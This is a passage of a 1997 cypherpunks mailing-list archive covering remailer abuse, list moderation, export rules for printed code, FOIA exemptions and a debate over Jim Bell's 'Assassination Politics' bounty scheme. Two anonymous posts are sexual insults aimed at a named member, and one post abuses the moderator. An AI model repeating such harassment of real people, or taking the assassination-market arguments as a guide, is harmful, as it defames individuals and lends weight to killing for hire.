    perfect responsibility in a perfect anarchy, then there is no need 
    for AP.

    AP is a negative, or _punative_, influence; I might liken it to the 
    Catholic Church which is a religion of fear, and an instrument of
    political control.

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: latin1
Comment: No safety this side of the grave. Never was; never will be

iQCVAwUBMvixAL04kQrCC2kFAQECsQQAlPSQRpEE2dAKkqrWSlPf79QhSBtYbjXa
rEyAlOrmi8NOxgyb8hGF/VwVkURUKnPr4gGJW9JvwuPB2x/AQeT11ZEQyVqeFGNF
0W6WR7yv3XsOT9UM6JCP9hFLWU33BumcPd26w8f/Z5mx87qEUoXeJD4ApLv5QNI3
WlyL0xDT1PM=
=sfD3
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: mixmaster@remail.obscura.com (Mixmaster)
Date: Wed, 5 Feb 1997 17:28:18 -0800 (PST)
To: cypherpunks@toad.com
Subject: Hash functions
Message-ID: <199702052256.OAA13660@sirius.infonex.com>
MIME-Version: 1.0
Content-Type: text/plain


Timothy C[reep] Maya is the living proof that 
anal sex causes pregnancy.

 
  ()
   \--o
  .-\__.
 (      \_
  '-.-'





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Wed, 5 Feb 1997 15:20:27 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: "alt.cypherpunks" people?
In-Reply-To: <32F8C86E.15FB@sgi.com>
Message-ID: <kg6N2D1w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


Anil Das <das@sgi.com> writes:

> Dr.Dimitri Vulis KOTM wrote:
> > 
> > Learn to use an anonymous remailer.
> 
> Thanks for the hint, Dr. Vulis. I have registered for a course, but
> seats are available only in fall.

Toilet seats in the state of free fall?

The stego on Sandy's moderated list blows my mind...

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: mixmaster@remail.obscura.com (Mixmaster)
Date: Wed, 5 Feb 1997 17:32:00 -0800 (PST)
To: cypherpunks@toad.com
Subject: Mondex
Message-ID: <199702052306.PAA17408@sirius.infonex.com>
MIME-Version: 1.0
Content-Type: text/plain


Timmy C. Maypole's aberrant sexual life has negatively 
impacted his mental integrity.

     \|/
     @ @
-oOO-(_)-OOo- Timmy C. Maypole





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: stewarts@ix.netcom.com
Date: Wed, 5 Feb 1997 16:35:56 -0800 (PST)
To: Andy Dustman <andy@CCMSD.chem.uga.edu>
Subject: Re: mail-to-news fun
In-Reply-To: <19970205054436.4083.qmail@anon.lcs.mit.edu>
Message-ID: <3.0.1.32.19970205163534.00612d98@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


>> Well, I'd really rather not do that.  I already have to deal with
>> abuse from nym.alias.net and mix@anon.lcs.mit.edu users.  

>All that being said, it might not be worth the effort to allow posting,
>since you're not actually doing the posting anyway. I've thought about 
>allowing posting again with a very restrictive newsgroup list 
>(only alt.anonymous.messages).

If I were going to restart a remailer, and to offer news posting,
I'd probably limit it to posting to moderated newsgroups only,
so a human can trash things that look like SPAM or abuse;
the abuse that caused me to kill my remailer wasn't something
a simple filter would catch.  (I'd also prefix each posting with a 
header about this message having been received from an anonymous source,
not verified, not guaranteed to be worth the electrons it's printed on,
probably not written by anybody whose name's at the bottom, etc....
People don't read mail headers or disclaimers at the bottom,
and putting disclaimers like that into message text for
email exposes the message to traffic analysis.)

Alt.anonymous.messages is an interesting alternative, but one of the 
ideals of posting news from a remailer is to allow people to 
broadcast politically incorrect speech anonymously, avoiding censorship
and retribution as much as possible.  This means letting people
call Lee Kwan Yew a fascist, complain that OJ's a space alien,
identify the person Hillary paid to off Vince Foster,
or proclaim that Hubbard's Ahmaddiyya Witnesses are the One True 
Religion -- Or post the One Page RSA+RC4 to the China newsgroups.

On the other hand, I don't want to support postings titled
"ALL FAGS MUST DIE" with a forged signature and email at the bottom,
and I especially don't want to post that from my remailer without
indicating that anything posted by a remailer might be forged.
That's why I shut down my previous remailer - the forger only
posted one forged message; the person whose name got forged
got flamed severely by dozens of people who objected to "her" posts.
Blocking the gay newsgroups cuts down on that kind of trolling,
but also cuts out the "Help, I might be gay and my parents will kill me"
traffic that remailers are supposed to help with.

On several other hands, though, even if you limit news posting,
trolls can abuse a remailer by sending email to large mailing lists.
It'd certainly never happen to Cypherpunks :-), but some other
mailing lists might attract trolls, and it's not easy to
identify them in advance (though I suppose adding a disclaimer
and cutmarks any time you post to something other than a 
known remailer is a partial solution.)


#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Sean Roach <roach_s@alph.swosu.edu>
Date: Wed, 5 Feb 1997 16:35:51 -0800 (PST)
To: cypherpunks@toad.com
Subject: RE: Fighting the cybercensor
Message-ID: <199702060035.QAA07697@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 09:09 PM 2/4/97 -0800, jim bell wrote:
>At 08:15 PM 1/28/97 -0800, Steve Schear wrote:
>>>The poor can not hope to match the tyrants bid as they only have 10% of the
>>>wealth, the household knows that thier participation in an attempt on the
>>>tyrant will get them killed.  Even if the attempt was successful.
>>>The people from the outside who would benefit from the bounty benefit more
>>>by taking the tyrants offer and then trying again, i.e. tiger teams.
>>
>>I think a hole in your thinking is to assume that the assasins have no
>>motive other than financial gain.  I would submit that there are those that
>>have the skills, training and a political agenda coherent with the
>>wagerers, lacking only the financial incentive to make the risks
>>acceptable.  These wetworkers won't consider accepting the bribe of the
>>rich/powerful
...
>
>However, fortunately I don't think it would make any difference in the 
>overall effects.    While AP would eliminate the taxation which is commonly 
>thought of as the main way a "rich person" loses assets, in practice it 
>would also shut down the well-hidden systems that allow some people to get 
>rich (or, merely live off somebody else) "unfairly."   Government agents 
>come to mind, of course.
>
The money doesn't necessarily come from taxation, the owner of a business
takes a cut of whatever money is made even if that person is unproductive.
The tyrant would be the owner of the industry.  
If you are right then governments would effectively lose the ability to tax,
with or without representation, as most people do not agree on everything,
like how their money is spent.  However, even now, as pointed out in some
recent posts, our tax money is used to foreward the goals of a few, these
few want to eliminate guns, crypto, free speech, ect.  Although we are in
oppostition, our money is still used to foreward the goals.  Not unlike what
I heard about the U.S.S.R. in vietnam. The following is according to my
source.  When the Soviet Ambassitor to the U.N. was sick, thats when the aid
to vietnam could begin, as the U.S.S.R was not there to veto it.  Now the
U.S.S.R. was forced to aid both sides, those that were in agreement with
them politically, and the U.N., of which they were a member.  End of source
data.
Even those who oppose the taxes would be forced to pay as it would be the
army that would be collecting.  Then they could take the remaining monies
that they had to target the leaders, who would use the tax revinues to
protect themselves.  If more money was needed, nore taxes would be collected.
If it were a private corporation, the wages of the workers would be reduced
on occassion to pay for the different security systems of the owner.  
Additionally, under our current system, the assassin would have his day in
court, perhaps he could escape the government, making the cost-benefit
analysis skewed in favor of crime.  Under a system as proposed, the assassin
would be forced do deal with a more powerful curse.  Insurance companies
would be reconfigured to anonymously see to the death of whatever caused the
death of thier clients.  They would make money because if the death could be
ruled accidental, they would not have to pay.  If the person died of a heart
attack, and the food taster didn't, (the food taster would probably be the
cooks son by the way), then the bond that the tyrant had with the company
would be void.  The company would cash the check.  If the tyrant wanted to
insure h[is/er] survival, (s)he would take out several of these bonds, with
different companies, each with a signature amount to give to the executors
to check their loyalty.  If the company paying 1295065 dollars didn't pay
up, the executors would tell the world.
The idea is, where a layer can be subverted, duplicate the layer so that at
least one element is bound to work.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Rabid Wombat <wombat@mcfeely.bsfs.org>
Date: Wed, 5 Feb 1997 15:01:58 -0800 (PST)
To: "Dr.Dimitri Vulis KOTM" <dlv@bwalk.dm.com>
Subject: Re: "alt.cypherpunks" people?
In-Reply-To: <199702051701.JAA00962@toad.com>
Message-ID: <Pine.BSF.3.91.970205164716.2442C-100000@mcfeely.bsfs.org>
MIME-Version: 1.0
Content-Type: text/plain




On Wed, 5 Feb 1997, Dr.Dimitri Vulis KOTM wrote:

> Anil Das <das@sgi.com> writes:
> 
> > Adam Back wrote:
> > > 
> > > What do people think of starting an alt.cypherpunks USENET newsgroup?
> > > 
> > 
> > I have only one objection. I will never post to an Usenet group
> > under my real email address for fear of ending up in spammer
> > databases.
> > 
> > -- 
> > Anil Das
> > 
> 
> Learn to use an anonymous remailer.
> 

Unfortunately, if everyone is posting from "nobody@thevoid" or such, we'd 
lose the "personalities" that make up the community. Why not use a "nym" 
account to post - one that is configured to discard all incoming email?

-r.w.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "P.J. Westerhof" <p.j.wester@ngi.nl>
Date: Wed, 5 Feb 1997 07:50:49 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Getting into MIT is impossible
Message-ID: <3.0.16.19970205155649.2e7fcfe2@popmail.rijnhaave.nl>
MIME-Version: 1.0
Content-Type: text/plain


At 18:12 4-02-97 -0800, you wrote:
>Erland van Lidth de Jeude is a MIT grad.  He played the big badass in "Stir 
>Crazy."  Computer science major, BTW.
>
He is quite a singer too (at least he was some years ago on Dutch TV).
Perhaps that made the difference.  ;-)

Gr.
Peter


_________________________________________________________

   P.J. Westerhof  LL.D                      
   e-mail           P.J.WESTER@NGI.NL     |        Computerlaw
   voice            +31-347-375400                |        Legal informatics
   fax/data        +31-347-375400                |        IT - consultancy
   Web:            www.ngi.nl/cr/                   |        Soaring
_________________________________________________________





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Sean Roach <roach_s@alph.swosu.edu>
Date: Wed, 5 Feb 1997 17:00:51 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: More on Cellular Encryption Docs
Message-ID: <199702060100.RAA08114@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 12:39 AM 2/5/97 -0800, Bill Stewart wrote:
>>>>Here's more on the controlled documents for cellular encryption
>>>>from TIA/EIA we described in a 26 January post to cpunks:
>...
>>>Of course, ITAR as recently modified says it's ok to send this
>>>stuff overseas to foreigners, as long as it's on paper.
>>>There may be separate restrictions on sending it, or on copying,
>>>but they're based on copyright or contractual non-disclosure.
>>
>>Given that high-density inkjet printers can do 600x600 dpi resolution, it 
>>should be possible to achieve the equivalent of 100x100 bpi of 
>>easily-recoverable data on ordinary paper.  That's about 800 kilobits, or 
>>100 kilobytes.   What does ITAR say about this?
>
>These are text, perhaps with occasional illustrations, so the current
>interim export rules say it's ok.
>
>For optically-scannable printed data, the government's announcement says 
>it reserves (somehow) its right (acquired in unspecified manner :-)
>to re-evaluate the exportability at a later time.  I think they
>haven't settled on whether they'd be more embarassed by banning it
>(which bans export of printed material, risking serious Constitutional
>challenges) or by not banning it (having people laugh at them while
>exporting source code or even binaries in OCR-A on loose-leaf paper
>with page numbers and checksums.) 
...
Let's not tempt them with something that the common person on the street
would consider computer media, I.E. punched cards and dataglyphs.  Remember
the old fonts that used to be everywhere?  The ones with the thickened
letters at key places?  Look at a check some time, that is the type of font
at the bottom, its designed to be readable by both man and machine.  Print
out the source code in one of those fonts and mail that.  This is not as
data intensive as the other way, but at least it can be argued that it can
be read by an unaided person.
That way, on the other end, the text can be scanned in directly, using a
modified form of check clearing software, and converted into electronic
media, sans errors.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Mark Voorhees" <mark@infolawalert.com>
Date: Wed, 5 Feb 1997 14:05:30 -0800 (PST)
To: "mclow@owl.csusm.edu>
Subject: Re: Deloitte-Touche?
Message-ID: <199702052204.RAA12059@york.interport.net>
MIME-Version: 1.0
Content-Type: text/plain


On Wed, 5 Feb 1997 10:45:30 -0800, Marshall Clow wrote:

>It wasn't really what he said that amazed me, because
>I had heard most of it (in bits and pieces) before. It
>was presenting it all in a package, in an emotional
>manner, by an elderly, conseratively dressed
>accountant who was representing a large
>corporation whose job it is to help people obey the
>government.


I'm almost certain that Murray is a consultant rather than
or in addition to an accountant. He's been saying these things
for years at conferences, in papers, on mailing lists, etc.

Mark






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "E. Allen Smith" <EALLENSMITH@ocelot.Rutgers.EDU>
Date: Wed, 5 Feb 1997 14:11:14 -0800 (PST)
To: cypherpunks@toad.com
Subject: Edited Edupage, 4 February 1997
Message-ID: <01IF2BX0CENI9AN48B@mbcl.rutgers.edu>
MIME-Version: 1.0
Content-Type: text/plain


From:	IN%"educom@educom.unc.edu"  5-FEB-1997 01:10:14.09
To:	IN%"edupage@elanor.oit.unc.edu"  "EDUCOM Edupage Mailing List"

>************************************************************
>Edupage, 4 February 1997.  Edupage, a summary of news about information
>technology, is provided three times a week as a service by Educom, a
>Washington, D.C.-based consortium of leading colleges and universities
>seeking to transform education through the use of information technology.
>************************************************************

>GATES SAYS OLD LAWS ARE GOOD ENOUGH FOR THE NET
>Microsoft's Bill Gates:  "It's always surprising how old concepts carry over
>into the new medium.  It's overly idealistic to act like, Oh, the Internet
>is the one place where people should be able to do whatever they wish:
>present child pornography, do scams, libel people, steal copyrighted
>material.  Society's values have not changed fundamentally just because it's
>an Internet page.  Take copyright.  Sure, there should be some
>clarifications about copyright, but the old principles work surprisingly
>well in the new medium.  Anybody who says you have to start over -- I don't
>agree with that."  (George Feb 97)

	Looks like he hasn't thought about enforcement problems, which
may fortunately prevent the application of unnecessary laws to the 'net.

>CULTURE CLASHES ON THE INTERNET
>At a session of the World Economic Forum in Davos, Switzerland, the issue of
>censorship on the Internet was debated from East/West perspectives, with the
>Eastern view represented by such countries as Singapore, Iran, and Egypt.
>Denmark foreign minister Uffe Ellemann-Jensen said, "Whenever you want to
>stop the free flow of information, you must ask yourself what is possible.
>The usual answer from politicians is we need international rules.  I say,
>forget it.  It won't happen."  Iranian mathematics professor Mohammed
>Lasijani countered:  "In the west, the issue is sometimes how to globalise
>liberalism:  how to export an ideology.  I am not a liberal, and I do not
>believe liberalism is the only way to a decent life."  (Financial Times 4
>Feb 97)

	Well, yes, neither did Adolf Hitler. Sorry, cultural differences
won't wash; individual liberties are more important than culture or
national sovreignty.

>Edupage is written by John Gehl <gehl@educom.edu> & Suzanne Douglas
><douglas@educom.edu>.  Voice:  404-371-1853, Fax: 404-371-8057.

>Technical support is provided by Information Technology Services at the
>University of North Carolina at Chapel Hill.

>**********************************************************
>Edupage ... is what you've just finished reading.  To subscribe to Edupage:
>send mail to: listproc@educom.unc.edu with the message:  subscribe edupage
>Edgar Allan Poe (if your name is Edgar Allan Poe;  otherwise, substitute
>your own name).  To unsubscribe send a message to: listproc@educom.unc.edu
>with the message: unsubscribe edupage.   (If you have subscription problems,
>send mail to manager@educom.unc.edu.)




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "E. Allen Smith" <EALLENSMITH@ocelot.Rutgers.EDU>
Date: Wed, 5 Feb 1997 14:14:20 -0800 (PST)
To: mclow@owl.csusm.edu
Subject: Re: Moderation, Tim, Sandy, me, etc. * Strong crypto == DES?!
Message-ID: <01IF2C1D6QAA9AN48B@mbcl.rutgers.edu>
MIME-Version: 1.0
Content-Type: text/plain


From:	IN%"mclow@owl.csusm.edu"  "Marshall Clow"  5-FEB-1997 04:04:13.13

>At 4:05 PM -0800 2/4/97, aaron@herringn.com wrote:
>>
>>If I might make a suggestion:
>>
>>Some people want moderation. That's fine, I've never been very big on
>>letting other people choose what I read, but some people want it.
>>
>>For those who want it, let someone moderate the list for as long as
>>they care to do it. Approved messages get a "X-sandy-approved"
>>header. The responsibility for setting up a filter to toss everything
>>that doesn't have the header is the responsibility of the end user.
>>Toad will need to filter incoming posts to make sure they don't come
>>"pre-approved", but that's the only hole I can think of.
>>
>>Everyone gets all of the Cypherpunks list. Those who want moderation
>>filter the unapproved posts, those who want all of it get all of it.
>>
>>Hopefully, this will make (almost) everyone happy.
>>
>I like this idea.
>However, I would suggest an additional refinement:
>	Implement a cypherpunks-moderated list which
>is all the 'approved' messages. This way, people who wish
>to have the benefits of a filtered list are happy, people who
>wish to have posts rated for them (but be able to check on
>the "rater") are happy, and people who wish to see every
>message are happy.
>
>(I know that John has concerns about toad's mail capacity,
>and this may be too big a load)

	Lance's offer for informix to host the unmoderated
version of the list may be of assistance here.

>ObCrypto policy:
>	Was anyone else besides me amazed by the guy
>from Deloitte-Touche at the Internet Privacy Coalition luncheon
>last week? I mean, he all but advocated violent overthrow of
>the government. D-T is the most "establishment" of the big-6
>accounting firms, last time that I looked.

	What all did he have to say?
	-Allen




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "E. Allen Smith" <EALLENSMITH@ocelot.Rutgers.EDU>
Date: Wed, 5 Feb 1997 14:16:45 -0800 (PST)
To: jer+@andrew.cmu.edu
Subject: Re: My Departure, Moderation, and "Ownership of the List"
Message-ID: <01IF2C4F6ANS9AN48B@mbcl.rutgers.edu>
MIME-Version: 1.0
Content-Type: text/plain


From:	IN%"jer+@andrew.cmu.edu"  "Jeremiah A Blatz"  5-FEB-1997 06:54:01.96

>On the choke points note, mailing lists are better than usenet because
>legendary AOLers with there 5 free hours of fame and their ilk usually
>don't figure out how to pester mailing lists. Being on a mailing list
>usually requires a commitment, that is enough of a barrier for many of
>the usenet underirables.

	Umm... try reading list-managers for a while on AOL cluelessness
for mailing lists. The Usenet AOL undesirables also do things like reading
AOL's ever-so-helpful directory of mailing lists (some list managers have
asked to have their list taken _off_ of this directory).
	-Allen




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Wed, 5 Feb 1997 15:49:50 -0800 (PST)
To: wombat@mcfeely.bsfs.org (Rabid Wombat)
Subject: Re: "alt.cypherpunks" people?
In-Reply-To: <Pine.BSF.3.91.970205164716.2442C-100000@mcfeely.bsfs.org>
Message-ID: <199702052326.RAA01969@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


In soc.culture.russian.moderated, the moderation bot has a special
feature that allows anonymous posters to establish and maintain
their "identities" and reputations.

igor

Rabid Wombat wrote:
> 
> 
> 
> On Wed, 5 Feb 1997, Dr.Dimitri Vulis KOTM wrote:
> 
> > Anil Das <das@sgi.com> writes:
> > 
> > > Adam Back wrote:
> > > > 
> > > > What do people think of starting an alt.cypherpunks USENET newsgroup?
> > > > 
> > > 
> > > I have only one objection. I will never post to an Usenet group
> > > under my real email address for fear of ending up in spammer
> > > databases.
> > > 
> > > -- 
> > > Anil Das
> > > 
> > 
> > Learn to use an anonymous remailer.
> > 
> 
> Unfortunately, if everyone is posting from "nobody@thevoid" or such, we'd 
> lose the "personalities" that make up the community. Why not use a "nym" 
> account to post - one that is configured to discard all incoming email?
> 
> -r.w.
> 



	- Igor.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Greg Broiles <gbroiles@netbox.com>
Date: Wed, 5 Feb 1997 17:21:56 -0800 (PST)
To: pdh@best.com (Peter Hendrickson)
Subject: Re: Cypherpunks FOIA request
In-Reply-To: <v02140b02af1e62001772@[206.184.192.27]>
Message-ID: <3.0.1.32.19970205172620.006d4ab8@mail.io.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

At 08:22 AM 2/5/97 -0800, Peter Hendrickson wrote:
>At 12:40 AM 2/5/1997, Greg Broiles wrote:
>> To date, I have received three responses: one from the SF office of the
FBI,
>> indicating that they have no records responsive to my request; one from
the
>> NSA, indicating that they are processing my request, and one from the
Secret
>> Service, asking for a copy of my signature. (I've got no clue why they
want
>> that; unless I screwed up, I believe my initial request was signed.)
>
>Have these organizations been known to lie?  What penalties does
>the organization or its employees face when they do so?  Have these
>penalties ever been applied?

Yes, various law enforcement agencies and intelligence agencies have been
willing to lie to the American public (and the world at large) from time to
time :) Pragmatically, the only penalty that the organization(s) and
individuals face is political, e.g., cuts in funding or loss of employment
due to public humiliation/embarrassment.

>Also, which exceptions in the FOIA law would allow them to respond
>dishonestly?

They are allowed to respond that "no records exist" even if records do exist,
where:

(1)	The records relate to an active criminal investigation, the subject of
the investigation is unaware of the investigation, and the disclosure of the
existence of records would likely disrupt law enforcement activity; (5 USC
552 (c)(1))

(2)	The records relate to a confidential informant, and the disclosure of the
existence of the records would tend to reveal the identity of the informant
(e.g., I suspect Joe Blow is an informant, so I make a FOIA request for
information gained from confidential informant Joe Blow; even if I receive
only blacked-out pages, the fact that the records exist tells me something
about Joe) (5 USC 552 (c)(2))

(3)	The records are classified, held by the FBI, and pertain to intelligence,
counterintelligence, or international terrorism. (5 USC 552 (c)(3))

They may also withhold information in other circumstances, but are not
otherwise allowed to say that "no records exist".

(There's something surreal about presuming careful attention to tiny legal
details from organizations which perpetrated debacles like COINTELPRO, Waco,
Ruby Ridge, perjury/manufacturing evidence in the FBI lab, etc. But sometimes
something interesting is released, e.g.,
<http://www.epic.org/privacy/wiretap/Scowcroft.gif>.)


-----BEGIN PGP SIGNATURE-----
Version: 4.5

iQEVAgUBMvky//37pMWUJFlhAQE5tgf/QstFYJxNcJuRIQjF14a+3luyJgFe8MCp
UpMfykNKHmnbq+ChZCsmgXUCt49s0VFQYeMdNH1HWaaOcTtRr3uqNFqmyLBQxSne
PboMtzvl0Z6NKcP/DV1BwHxHJZbYVGPoPXDYd7xHvIsU0xRbHVOQgidgMJQmjf4E
4S/T3tovD+e1ahoSCBkZslLs/13pMstmDxz5tPd2mHwsFfLiklSaRUcKmtdkGPTc
da3VFFOjYlYB4ps4dkd7Vv6zgl4ZQJLMXZyoBsYrAax4k3eLuheVj/inZIqZFHvO
LqJPdCM34QurFXIOQmlo7sQnOvWPgc2ASdctV46lHTSJA6USIhbt9A==
=KAj+
-----END PGP SIGNATURE-----

--
Greg Broiles                | US crypto export control policy in a nutshell:
gbroiles@netbox.com         | 
http://www.io.com/~gbroiles | Export jobs, not crypto.
                            | 




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: jim bell <jimbell@pacifier.com>
Date: Wed, 5 Feb 1997 18:03:51 -0800 (PST)
To: "P.J. Westerhof" <cypherpunks@toad.com
Subject: Re: Getting into MIT is impossible
Message-ID: <199702060203.SAA05947@mail.pacifier.com>
MIME-Version: 1.0
Content-Type: text/plain


At 04:50 PM 2/5/97 +0100, P.J. Westerhof wrote:
>At 18:12 4-02-97 -0800, you wrote:
>>Erland van Lidth de Jeude is a MIT grad.  He played the big badass in "Stir 
>>Crazy."  Computer science major, BTW.
>>
>He is quite a singer too (at least he was some years ago on Dutch TV).
>Perhaps that made the difference.  ;-)


He was on the fourth floor of the west parallel of East Campus, in about 
1977 as I recall.  I was on the third floor.  He was a wrestler; I heard he 
didn't have to work all that hard, he could just sit on the opponent and 
he'd win.

Jim Bell
jimbell@pacifier.com




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: jim bell <jimbell@pacifier.com>
Date: Wed, 5 Feb 1997 18:23:43 -0800 (PST)
To: "Robert Rothenburg 'Walking-Owl'" <cypherpunks@toad.com
Subject: Re: Letter Re: Kahn Supporting GAK
Message-ID: <199702060223.SAA08362@mail.pacifier.com>
MIME-Version: 1.0
Content-Type: text/plain


At 05:16 AM 2/5/97 +0000, Robert Rothenburg 'Walking-Owl' wrote:
>My letter to Long Island Newsday regarding David Kahn's pro-GAK
>editorial was published today. You can read it at
>
>    http://www.newsday.com/mainnews/rnmi052u.htm
>
>What's odd (?) is how they editied it. I directed my comments toward
>Mr. Kahn's views, which they changed to "Newsday" (odd, since I've
>never seen them print an editorial one way or another on GAK; does
>this mean they are taking a stand? -- Kahn is an editor at Newsday).
>
>I wrote "The greatest flaw in the argument is it's very reason,
>'criminals... are increasingly using encryption to conceal their plans
>and activities'" which they changed to "It reports...". I never
>considered an op-ed piece as "reporting", even if it states a fact.


But which "criminals," exactly, are "increasingly using encryption to 
conceal their plans and activities"?  Let's not concede this unless it's 
really true.

It would be far more accurate to say that it's likely that many people who 
are politically hostile to their government are using encryption in 
anticipation of persecution by the government, persecution that could easily 
come in the form of criminal charges.


Jim Bell
jimbell@pacifier.com




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Corey Minter <cminter@mipos2.intel.com>
Date: Wed, 5 Feb 1997 18:32:26 -0800 (PST)
To: cypherpunks@toad.com (Cypherpunks List)
Subject: mail list / sequence number & signature
Message-ID: <199702060230.SAA01281@zws388.sc.intel.com>
MIME-Version: 1.0
Content-Type: text/plain


Have the list maintainers ever considered either or both of the
following...

(Sorry in advance if this has been brought up sometime in the past.)

o adding a digital signature from "owner-cypherpunks@toad.com", so
  someone can't mass mail the mailing list and make it appear that
  the message came from toad.com.

    I just tried to figure out if the id in the header is in any order
    but I couldn't tell.  I have already deleted many messages so some
    numbers are missing anyway.

o adding a sequence number to every message which comes through
  toad.com, so recipients can easily notice if mail is be
  accidentially or intentionally filtered by their service provider or
  any other forces.  At the same time, you could add the current
  numbers for flame vs.  non-flame.  This would help end all the
  bandwidth wasted on people speculating about the numbers.

    say there are X total messages, Y non-flames, and Z flames then
    the appearance to subscriber (either in the subject or some
    header field) could be...

                                list
                   
        type      | all                 non-flame           flame
        ----      | ---                 ---------           -----
        non-flame | X (non-flame Y)     Y (all X)
        flame     | X (flame Z)                             Z (all X)

-- 
Of course... these are my opinions, not my employer's.
______________________________________________________________________
Corey Minter                |
cminter@mipos2.intel.com    |
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Wed, 5 Feb 1997 17:01:39 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Getting into MIT is impossible
In-Reply-To: <199702051611.IAA29635@toad.com>
Message-ID: <RDFo2D1w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


Sandy the asshole continues to forward crypto-irrelevant fluff to the censored
list as long as it's posted by his boyfriends:

"P.J. Westerhof" <p.j.wester@NGI.NL> writes:

> At 18:12 4-02-97 -0800, you wrote:
> >Erland van Lidth de Jeude is a MIT grad.  He played the big badass in "Stir 
> >Crazy."  Computer science major, BTW.
> >
> He is quite a singer too (at least he was some years ago on Dutch TV).
> Perhaps that made the difference.  ;-)
> 
> Gr.
> Peter
> 
> 
> _________________________________________________________
> 
>    P.J. Westerhof  LL.D                      
>    e-mail           P.J.WESTER@NGI.NL     |        Computerlaw
>    voice            +31-347-375400                |        Legal informatics
>    fax/data        +31-347-375400                |        IT - consultancy
>    Web:            www.ngi.nl/cr/                   |        Soaring
> _________________________________________________________
> 
> 


---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Wed, 5 Feb 1997 17:01:37 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: "alt.cypherpunks" people?
In-Reply-To: <Pine.BSF.3.91.970205164716.2442C-100000@mcfeely.bsfs.org>
Message-ID: <oTFo2D2w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


Rabid Wombat <wombat@mcfeely.bsfs.org> writes:

> 
> 
> On Wed, 5 Feb 1997, Dr.Dimitri Vulis KOTM wrote:
> 
> > Anil Das <das@sgi.com> writes:
> > 
> > > Adam Back wrote:
> > > > 
> > > > What do people think of starting an alt.cypherpunks USENET newsgroup?
> > > > 
> > > 
> > > I have only one objection. I will never post to an Usenet group
> > > under my real email address for fear of ending up in spammer
> > > databases.
> > > 
> > > -- 
> > > Anil Das
> > > 
> > 
> > Learn to use an anonymous remailer.
> > 
> 
> Unfortunately, if everyone is posting from "nobody@thevoid" or such, we'd 
> lose the "personalities" that make up the community. Why not use a "nym" 
> account to post - one that is configured to discard all incoming email?
> 
> -r.w.

Post as "nobody@nowhere.net", but mention e-mail address for replies
in the body of the article (or the signature).

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Wed, 5 Feb 1997 17:03:14 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Deloitte-Touche?
In-Reply-To: <v03101402af1e7d60efa1@[207.67.246.99]>
Message-ID: <2wFo2D3w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


Marshall Clow <mclow@owl.csusm.edu> writes:

> Several people wrote:
> >I wrote:
> >>ObCrypto policy:
> >>        Was anyone else besides me amazed by the guy
> >>from Deloitte-Touche at the Internet Privacy Coalition luncheon
> >>last week? I mean, he all but advocated violent overthrow of
> >>the government. [...]
> >
> >For the benefit of those of us who were not at this luncheon (probably
> >not even in the same country), could you please say more about this,
> >Marshall?  What was the subject?  What _did_ the DT speaker say, exactly?
> >
> After a while, I stopped taking notes, because I was so astounded at
> what he was saying.
> (Maybe someone with more complete notes could post a better summary)
> 
> But, here a brief overview of the luncheon:
> 
> Last Wednesday, January 29th, the Internet Privacy Coalition had
> a "policy lunch" in San Francisco. It was in one of the hotels hosting
> the RSA conference, and at the same time that the conference was
